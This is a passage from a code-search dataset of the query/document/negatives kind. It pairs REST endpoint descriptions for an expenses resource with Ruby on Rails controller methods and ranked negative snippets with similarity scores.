query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
GET /expenses/1 GET /expenses/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = current_user.organization.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @expenses = Expense.all\n end",
"def index\n @expenses = Expense.all\n respond_with @expenses\n end",
"def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"def index\n @expenses = get_class.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n index\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @expenses = Expense.limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def show\n @expenses = @expenses_file.expenses.select(\"strftime('%m', date) as month, strftime('%Y', date) as year, SUM(tax_amount) + SUM(pre_tax_amount) AS total\").\n group('month, year').order('year, month').as_json\n end",
"def set_api_v1_expense\n @api_v1_expense = Api::V1::Expense.find(params[:id])\n end",
"def show\n @expense = current_user.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def index\n @expenses = Expense.search(params[:search])\n end",
"def index\n @offenses = Offense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end",
"def show\n @expense = TblReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n render json: @petty_cash_expense\n end",
"def index\n redirect_to home_entries_path\n\n @entries = current_user.entries.expenses\n end",
"def index\n @expenses_props = Expense.all\n end",
"def index\n @record_expenses = RecordExpense.all\n end",
"def index\n @expenses = Expense.all\n # @assets = Asset.all\n @assets = current_user.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def index\n @rec_expenses = RecExpense.all\n end",
"def index\n @expenses = current_user.expenses.date_between(params[:from],params[:to]).order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @fixed_expenses = FixedExpense.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_expenses }\n end\n end",
"def index\n @expenses = current_user.user_account.expenses\n #DZF get totals\n\t\tunless @expenses.blank?\n\t\t\t@expense_total_price = current_user.user_account.get_expenses_total_price\n\t\t\t@expense_total_payed_price = current_user.user_account.get_expenses_total_total_payed_price\n\t\t\t@expense_total_payed_percentage = @expense_total_payed_price / @expense_total_price * 100\n\t\t\t@expense_total_remaining_price = current_user.user_account.get_expenses_total_remaining_price\n\t\t\t#DZF get payers percentage\n\t\t\t@payer_types_totals = {}\n\t\t\tPayerType.all.each do |pt|\n\t\t\t\t@payer_types_totals.merge!({pt.name => (current_user.user_account.get_payer_total_price_by_id(pt.id) * 100 / @expense_total_price) } )\n\t\t\tend\n\t\tend\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @defenses = Defense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def index\n @office_expenses = OfficeExpense.all\n end",
"def index\n @expenses = Expense.includes(:place, :account, sub_category: :category).order('paid_at DESC').page(params[:page])\n end",
"def show\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense_type }\n end\n end",
"def index\n\n # authenticate request\n if auth_user\n\n # check user has data to show\n if Expense.user(@user).count ==0\n render json: { message: \"You have no data - please submit date via a POST request\" }, status: 401\n else\n\n # retrieve paramaters\n # set start and end date to data min/max if not provided \n start_date = params[:start_date].respond_to?(:to_date) ? params[:start_date].to_date : Expense.user(@user).min_by(&:date).date\n end_date = params[:end_date].respond_to?(:to_date) ? params[:end_date].to_date : Expense.user(@user).max_by(&:date).date\n category = params[:category]\n\n # request category if provided (uses scopes defined in Expense model)\n if category == nil\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date)\n else\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date).category(category)\n end\n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n end",
"def index\n @shared_expenses = SharedExpense.all\n end",
"def show\n respond_with @expense\n end",
"def show\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_state }\n end\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def index\n @expenses = Expense.get_expenses(\n current_user[:id],\n session[:budget]['dateStart'],\n session[:budget]['dateEnd'],\n sort\n )\n\n get_tag_forms\n\n @expenses_sum = calculate_expenses_sum @expenses\n\n get_charts_and_tags @expenses\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @expense.to_xml }\n end\n end",
"def index\n @person_expense_records = PersonExpenseRecord.all\n\n render json: @person_expense_records\n end",
"def index\n\n if (params[:dossier])\n if params[:dossier] && params[:clear].present? && params[:clear] == 'true'\n @expenses = []\n elsif params[:dossier] && params[:activite_id].present? && params[:activite_id]!='undefined' \n @expenses = Expense.where(:dossier_id => params[:dossier], :activite_id => params[:activite_id])\n else\n @expenses = Expense.where(:dossier_id => params[:dossier])\n end\n else\n @expenses = []\n end\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n format.json {render :json => {\"success\"=>true,\"data\"=>@expenses.map {|p| p.attributes.merge(:total_ht => p.total, :total_ttc => p.total_ttc, :activite_name => p.activite.try(:description))}, :totalSize =>@expenses.count}}\n \n end\n end",
"def show\n @exp = Exp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exp }\n end\n end",
"def index\n @bid_expenses = BidExpense.all\n end",
"def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end",
"def index\n @expenses = Expense.for_user(current_user).all\n @sum = Expense.for_user(current_user).sum(:price)\n \n respond_to do |format|\n format.html # index.html.erb\n format.iphone {render :layout => false}\n format.xml { render :xml => @expenses }\n end\n end",
"def show\n @income = Income.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income }\n end\n end",
"def index\n if @expense.nil?\n today = Date.today\n year = params[:year].to_i if params[:year]\n month = params[:month].to_i if params[:month]\n \n @date = today\n \n if year && month\n day = today.day\n if year != today.year || month != today.month\n day = 1\n end\n @date = Date.civil(year, month, day)\n end\n else\n @date = @expense.date\n end\n \n @expenses = Expense.by_month(@date)\n \n respond_to do |format|\n format.html { render :action => 'index' }\n format.xml { render :xml => @expenses }\n end\n end",
"def index\n @marketing_expenses = MarketingExpense.all\n end",
"def show\n @housing_expense = HousingExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @housing_expense.to_xml }\n end\n end",
"def index\n @incomes = Income.all\n\n respond_to do |format|\n format.json { render json: @incomes }\n end\n end",
"def index\n @monthly_expenses = MonthlyExpense.all\n end",
"def show\n @expenditure = Expenditure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expenditure }\n end\n end",
"def index\n @dispenses = Dispense.all\n end",
"def show\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expediente }\n end\n end",
"def show\n @income_entry = IncomeEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @income_entry }\n end\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def expense_list\n\n end",
"def show\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fixed_expense }\n end\n end",
"def show\n render json: @person_expense_record\n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @lincenses = Lincense.all\n end",
"def show\n @explaination = Explaination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @explaination }\n end\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def show\n @exprience = Exprience.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exprience }\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @operating_expense = OperatingExpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operating_expense }\n end\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def index\n @expenses_files = ExpensesFile.all\n end",
"def index\n @utility_expenses = UtilityExpense.all\n end",
"def show\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livingexpense }\n end\n end",
"def show\n @excuse = Excuse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @excuse }\n end\n end",
"def index\n @expense_items = ExpenseItem.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expense_items }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_group }\n end\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def api_v1_expense_params\n params.fetch(:api_v1_expense, {})\n end"
] |
[
"0.7852153",
"0.76643664",
"0.7582055",
"0.73080707",
"0.73080707",
"0.73080707",
"0.73080707",
"0.73080707",
"0.7251809",
"0.72369164",
"0.72013515",
"0.71863693",
"0.70798296",
"0.6971261",
"0.69470507",
"0.6900109",
"0.6899645",
"0.6838902",
"0.68240345",
"0.67582136",
"0.67378426",
"0.6729041",
"0.6707211",
"0.66969043",
"0.6653568",
"0.6596516",
"0.65836614",
"0.65691835",
"0.6555538",
"0.653865",
"0.6522431",
"0.6517552",
"0.65129095",
"0.65077627",
"0.6481237",
"0.64670646",
"0.64670646",
"0.64670646",
"0.6450993",
"0.64254254",
"0.6412063",
"0.63997144",
"0.63978195",
"0.63923776",
"0.63898754",
"0.63746244",
"0.6353075",
"0.63494194",
"0.631125",
"0.6286898",
"0.6283659",
"0.6279667",
"0.62257004",
"0.6218622",
"0.62123597",
"0.61853445",
"0.6179662",
"0.61665183",
"0.6162286",
"0.6161788",
"0.6161746",
"0.61453646",
"0.6138337",
"0.613194",
"0.6103442",
"0.6100333",
"0.6100333",
"0.6100333",
"0.6086086",
"0.6081234",
"0.60799193",
"0.6078917",
"0.606851",
"0.60634303",
"0.60442466",
"0.6038005",
"0.60182095",
"0.60117966",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.6003852",
"0.600289",
"0.600258",
"0.5984469",
"0.59749985",
"0.59712416",
"0.5956474",
"0.5952056",
"0.5952056",
"0.5952056",
"0.5947163"
] |
0.0
|
-1
|
POST /expenses POST /expenses.json
|
def create
@expense = Expense.new(expense_params)
respond_to do |format|
if @expense.save
format.html { redirect_to @expense, notice: 'Expense was successfully created.' }
format.json { render :show, status: :created, location: @expense }
else
format.html { render :new }
format.json { render json: @expense.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n # Get the variables passed in from params on create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense, status: :created, location: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tuser = User.find_by(id: expense_params['user_id'])\n\t\tdebt = Debt.find_by(id: expense_params['debt_id'])\n\t\texpense = user.expenses.build(expense_params)\n\t\tif expense.save \n\t\t\tif debt\n\t\t\t\tdebt.expenses << expense\n\t\t\tend\n\t\t\trender json: user\n\t\telse\n\t\t\trender json: expense.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def create\n data = params[:expense]\n\n @expense = current_user.expenses.build(params[:expense])\n if @expense.save\n flash[:success] = \"Expense created!\"\n redirect_to root_url\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n #@expense = Expense.new(params[:expense])\n #\n #respond_to do |format|\n # if @expense.save\n # format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n # format.json { render json: @expense, status: :created, location: @expense }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @expense.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def create\n @api_v1_expense = Api::V1::Expense.new(api_v1_expense_params)\n\n respond_to do |format|\n if @api_v1_expense.save\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_expense }\n else\n format.html { render :new }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @expense = Expense.new(expense_params)\n\n b_id = Building.search(@expense.buildinginfo)\n Building.find_by(id: b_id).expenses << @expense\n \n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.create(expense_params)\n @expense.user_id = current_user.id\n @expense.save!\n respond_with @expense, status: 201\n end",
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n puts \"********* creating an expense\"\n if @expense.save\n puts \"** expense saved\"\n puts @expense.id.to_s\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n puts \"** expense not saved\"\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @expense = Expense.new(params[:expense])\n @expense.user = current_user\n\n respond_to do |format|\n if @expense.save\n format.json { render json: @expense, status: :created, location: @expense }\n format.js\n else\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.user_id = current_user.id\n \n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render action: 'show', status: :created, location: @expense }\n else\n format.html { render action: 'new' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to expense_url(@expense) }\n format.xml { head :created, :location => expense_url(@expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors.to_xml }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to(@expense, :notice => 'Expense was successfully created.') }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n\n respond_to do |format|\n if @expense.save\n if !params[:expense_category].blank?\n category = ExpenseCategory.find_by name: params[:expense_category]\n if !category.nil?\n @expense.update(expense_category: category)\n if params[:expense_category] == \"Diesel\"\n company = DieselCompany.find(params[:diesel_company])\n DieselExpense.create! expense: @expense, diesel_company: company, litres: @expense.quantity\n end\n end\n # cash = Cash.today.first\n # cash.update(amount_out: (cash.amount_out + @expense.amount), balance: (cash.balance - @expense.amount))\n end\n format.html { redirect_to expenses_path, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n authorize @expense\n @expense.created_by = current_user\n @expense.expense_by = current_user unless policy(@expense).can_assign?\n respond_to do |format|\n if @expense.save\n format.html { redirect_back_or_default expenses_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @petty_cash_expense = PettyCashExpense.new(petty_cash_expense_params)\n\n respond_to do |format|\n if @petty_cash_expense.save\n format.json { render :show, status: :created, location: @petty_cash_expense }\n else\n format.json { render json: @petty_cash_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @record_expense = RecordExpense.new(record_expense_params)\n\n respond_to do |format|\n if @record_expense.save\n format.html { redirect_to @record_expense, notice: 'New expense successfully created.' }\n format.json { render :show, status: :created, location: @record_expense }\n else\n format.html { render :new }\n format.json { render json: @record_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n if @expense.save\n\t flash[:success] = \"Expense record created\"\n redirect_to @expense\n else\n render 'new'\n end\n end",
"def create\n recurring = params[:expense].delete(:recurring)\n statement = Statement.find(params[:statement_id])\n @expense = Expense.new(params[:expense])\n @expense.statement = statement\n @expense.recurring = recurring\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to @expense.statement, notice: 'Statement expense was successfully created.' }\n format.json { render json: @expense, status: :created, location: @expense }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def create\n\n # authenticate request\n if auth_user\n\n #check we have everything we need!\n if params[:date] && params[:amount] && params[:category] && valid_date? && valid_amount?\n @new_expense = Expense.create(category: params[:category], date: params[:date], amount: params[:amount], user_id: @user.id)\n render json: { message: \"Good going! You made an expense for $#{params[:amount]}\", object: @new_expense }, status: 200\n else\n # tell user what they haven't provided correctly\n whats_not_supplied(params) \n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n\n end",
"def expense_params\n params.require(:expense).permit(:date, :description, :amount, :category_id)\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.source = :webapp\n respond_to do |format|\n if @expense.save\n format.html { redirect_to :back, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n\t\t@expense.user_account_id = current_user.user_account.id\n\t\t\n respond_to do |format|\n if @expense.save\n\t\t\t\tif @expense.wants_points\n\t\t\t\t\tNoticeMailer.matriclick_points_email(current_user, @expense).deliver\n\t\t\t\t\tformat.html {redirect_to points_url, notice: \"Ya tenemos el gasto que acabas de ingresar. Te enviaremos un email luego de validar tus puntos.\"}\n\t\t\t\telse\n format.html { redirect_to expenses_url, notice: 'Expense was successfully created.' }\n\t\t\t\tend\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def create\n @rec_expense = RecExpense.new(rec_expense_params)\n\n respond_to do |format|\n if @rec_expense.save\n format.html { redirect_to @rec_expense, notice: 'Rec expense was successfully created.' }\n format.json { render :show, status: :created, location: @rec_expense }\n else\n format.html { render :new }\n format.json { render json: @rec_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n if @expense.date == nil\n @expense.date = Time.now\n end\n\n @user = User.all.first\n if @expense.gains\n @user.current_balance = @user.current_balance + @expense.amount\n else\n @user.current_balance = @user.current_balance - @expense.amount\n end\n @user.save\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to '/expenses', notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @name_expense = NameExpense.new(name_expense_params)\n\n respond_to do |format|\n if @name_expense.save\n format.html { redirect_to @name_expense, notice: 'Name expense was successfully created.' }\n format.json { render :show, status: :created, location: @name_expense }\n else\n format.html { render :new }\n format.json { render json: @name_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit :name, :amount, :date, :account_id, :category_id\n end",
"def expense_params\n params.require(:expense).permit(:description, :comment, :amount, :datetime)\n end",
"def create\n @shared_expense = SharedExpense.new(shared_expense_params)\n\n respond_to do |format|\n if @shared_expense.save\n format.html { redirect_to root_url, notice: 'Shared expense was successfully created.' }\n format.json { render :show, status: :created, location: @shared_expense }\n else\n format.html { render :new }\n format.json { render json: @shared_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_owner = ExpenseOwner.new(expense_owner_params)\n\n respond_to do |format|\n if @expense_owner.save\n format.html { redirect_to @expense_owner, notice: 'Expense owner was successfully created.' }\n format.json { render :show, status: :created, location: @expense_owner }\n else\n format.html { render :new }\n format.json { render json: @expense_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @marketing_expense = MarketingExpense.new(marketing_expense_params)\n\n respond_to do |format|\n if @marketing_expense.save\n format.html { redirect_to @marketing_expense, notice: 'Marketing expense was successfully created.' }\n format.json { render :show, status: :created, location: @marketing_expense }\n else\n format.html { render :new }\n format.json { render json: @marketing_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"def expense_params\n params.require(:expense).permit(:exp_date, :amt, :profile_id, :item_id)\n end",
"def expense_params\n params.require(:expense).permit(:name, :amount)\n end",
"def create\n @monthly_expense = MonthlyExpense.new(monthly_expense_params)\n\n respond_to do |format|\n if @monthly_expense.save\n format.html { redirect_to @monthly_expense, notice: \"Monthly expense was successfully created.\" }\n format.json { render :show, status: :created, location: @monthly_expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @monthly_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dog_expense = DogExpense.new(dog_expense_params)\n\n respond_to do |format|\n if @dog_expense.save\n format.html { redirect_to @dog_expense, notice: 'Dog expense was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dog_expense }\n else\n format.html { render action: 'new' }\n format.json { render json: @dog_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:description, :amount, :user_sub, :category_id, :title, :date)\n end",
"def expense_params\n params.require(:expense).permit(:incurred_date, :reimbursed_date, \n :user_id, :account_id, :supplier, :description, :without_vat, \n :vat, :with_vat, :is_mileage, :miles, :mileage_rate, :expense,\n :cost_centre_id, :is_checked)\n end",
"def expense_params\n params.require(:expense).permit(:expense, :cost, :category_id, :amount, :gains, :date, :descripton)\n end",
"def create\n @bid_expense = BidExpense.new(bid_expense_params)\n\n respond_to do |format|\n if @bid_expense.save\n format.html { redirect_to bid_expenses_path, notice: 'Bid expense was successfully created.' }\n format.json { render :show, status: :created, location: @bid_expense }\n else\n format.html { render :new }\n format.json { render json: @bid_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(params[:expense])\n if params[:expense][:item_id].present?\n @expense.categorie_id = Item.find(params[:expense][:item_id]).categorie_id\n end\n @expense.dossier_id = params[:dossier]\n \n if params[:activite_id].present?\n @expense.activite_id = params[:activite_id]\n end\n \n @expense.save\n respond_to do |format|\n format.json { render :json => { :success => true, :message => \"Created Expense #{@expense.id}\", :data => @expense.attributes.merge(:total_ht => @expense.total, :total_ttc => @expense.total_ttc, :activite_name => @expense.activite.try(:description))}}\n end\n \n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def expense_params\n params.require(:expense).permit(:image_url, :name, :description, :amount, :money_source_id)\n end",
"def expense_params\n params.require(:expense).permit(:amount, :description, :spent_at)\n end",
"def expense_params\n params.require(:expense).permit(:user_id, :date, :reseller, :item_or_service, :payment_form, :charged_to, :cost, :amount_from_budget, :notes, :document)\n end",
"def create\n @expense = Expense.new(expense_params)\n\n if request.xhr?\n if @expense.save\n card = render_to_string('_card', locals: {expense: @expense}, layout: false)\n render json: {html: card, success: true}\n else\n form = render_to_string('_form', layout: false)\n render json: {html: form, success: false}\n end\n else\n if @expense.save\n redirect_to @expense, notice: 'Expense was successfully created.'\n else\n render action: 'new'\n end\n end\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def expense_params\n params.require(:expense).permit(:code, :gasto_id, :documento, :descrip, :importe, :fecha, :document_id,:turno)\n end",
"def expense_params\n params.require(:expense).permit(:date, :amount, :desc, :money, :project_id, :hst)\n end",
"def create\n expense_details = expense_params\n\n expense_details[:amount] = correct_value(expense_details[:amount])\n\n @expense = Expense.new(expense_details)\n\n if @expense.save\n\n association = {\n :expense_id => @expense[:id],\n :tag_id => tag_params[:id],\n }\n\n expense_tag_association = ExpensesTagsAssociation.new(association)\n expense_tag_association.save\n\n redirect_to expenses_path, notice: (I18n.t 'Expense was successfully created.')\n else\n render action: \"new\"\n end\n end",
"def create\n @fixed_expense = FixedExpense.new(params[:fixed_expense])\n @fixed_expense.user_id = current_user.id\n\n respond_to do |format|\n if @fixed_expense.save\n flash[:notice] = 'FixedExpense was successfully created.'\n format.html { redirect_to(fixed_expenses_path) }\n format.xml { render :xml => @fixed_expense, :status => :created, :location => @fixed_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fixed_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @expenses = Expense.all\n end",
"def create\n @operating_expense = OperatingExpense.new(params[:operating_expense])\n\n respond_to do |format|\n if @operating_expense.save\n format.html { redirect_to(@operating_expense, :notice => 'Operating expense was successfully created.') }\n format.xml { render :xml => @operating_expense, :status => :created, :location => @operating_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operating_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end",
